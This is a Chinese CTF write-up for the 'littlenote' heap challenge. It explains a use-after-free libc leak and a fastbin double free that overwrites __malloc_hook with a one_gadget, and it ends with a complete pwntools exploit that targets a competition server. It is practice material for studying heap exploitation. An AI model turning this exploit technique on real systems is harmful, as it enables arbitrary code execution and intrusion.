这个题目是铁三决赛和鹏城杯final同时出现的题,刚好那个比赛结束这个比赛开始,在鹏城的时候有的师傅直接10分钟就getshell去打全场了。而对题目印象不深的我还在一直喊着6666.

程序分析

具体分析一下鹏城杯的版本,因为他比铁三的版本多了一个函数,虽然我觉得并没有什么用

main函数

堆题一般都是典型的菜单题,有很多的选项来进行一个多选项的操作。并没有什么特殊的地方。

addnote函数

这里有一个添加堆的操作,第一反应应该是可能可以泄漏出一些地址来进行操作。这里规定了我们malloc的大小,其实有点感觉就是fastbin attack

shownote函数

就是进行一个堆内容的输出,利用的是puts函数也就不用多说了

freenote函数

这里没有对指针进行一个晴空所以可以进行一个double free 或者是uaf的利用

hacksys函数

有一个栈溢出吧,还可以泄漏地址,然后在hacker函数里面有一个下表越界,感觉这里洞挺多的,但是我这里具体介绍下uaf的地址泄漏➕改malloc_hook

doublefree介绍

故名思义,就是对一个堆块进行了两次free, 但是free了同一个堆块两次,其中在glibc中对此有一个检查

其中是检查main_arean是否指向向了原来的一个chunk,这个就是非常容易绕过的只需要free(p1);free(p2);free(p1)就可以绕过了。

利用过程

这是我们执行doublefree之后的图,此时malloc出chunk1,更改chunk1的fd,又因为此时chunk1是在fastbin list,也就是结构变成了下图

可以看见现在fastbin list中会多指向一个我们的fakebin(此时就可以进行任意地址写了)

check_fail

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
  errstr = "malloc(): memory corruption (fast)";
errout:
  malloc_printerr (check_action, errstr, chunk2mem (victim));
  return NULL;
}

其中会有一个对fakebin,size大小的检查,如果不满足当前fastbin链中应该有的大小则会显示异常。

思路分析

题目的漏洞很明显,所以只需要进行一次泄漏地址然后就可以直接doule free进行改的操作了,题目本身并不难但是没有改过malloc hook的人可能会遇到改不了的情况这个时候就要多调试,多看自己填充的位置是不是正确的。

exp

from pwn import *

context.log_level='debug'

#p=process("./littlenote",env={"LD_PRELOAD":"./libc-2.23.so"})
p =remote('172.91.0.125',8088)
libc=ELF("./libc-2.23.so")

def add_Y(content):
    p.recvuntil("Your choice:")

    p.sendline('1')
    p.recvuntil('Enter your note')
    p.send(content)
    p.recvuntil("Want to keep your note?")
    p.sendline('Y')

def add_N(content):
    p.recvuntil("Your choice:")
    p.sendline('1')
    p.recvuntil('Enter your note')
    p.send(content)
    p.recvuntil("Want to keep your note?")

    p.sendline('N')

def show(idx):
    p.recvuntil("Your choice:")
    p.sendline('2')
    p.recvuntil("Which note do you want to show?")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("Your choice:")
    p.sendline('3')
    p.recvuntil("Which note do you want to delete?")
    p.sendline(str(idx))

add_N('aaaa')
delete(0)
add_Y('\n')
show(1)
p.recvuntil('\n')
 libc_base=u64(p.recv(6).ljust(8,'\x00'))+0x6e-0x58-libc.symbols['__malloc_hook']-0x10
print hex(libc_base)
#gdb.attach(p,"b *$rebase(0xa50)")
malloc_addr=libc.symbols['__malloc_hook']+libc_base
one=libc_base+0xf02a4
add_Y('aaaa')
add_Y('bbbb')
add_Y('cccc')
delete(2)
delete(3)
delete(2)
add_Y(p64(malloc_addr-0x23))
add_Y('aaaa')
add_Y('bbbb')
add_Y('a'*0x13+p64(one)+'\n')
print hex(one)
delete(0)

p.interactive()

总结

题目不难适合练习改写malloc hook和double free大佬勿喷

源链接

Hacking more

...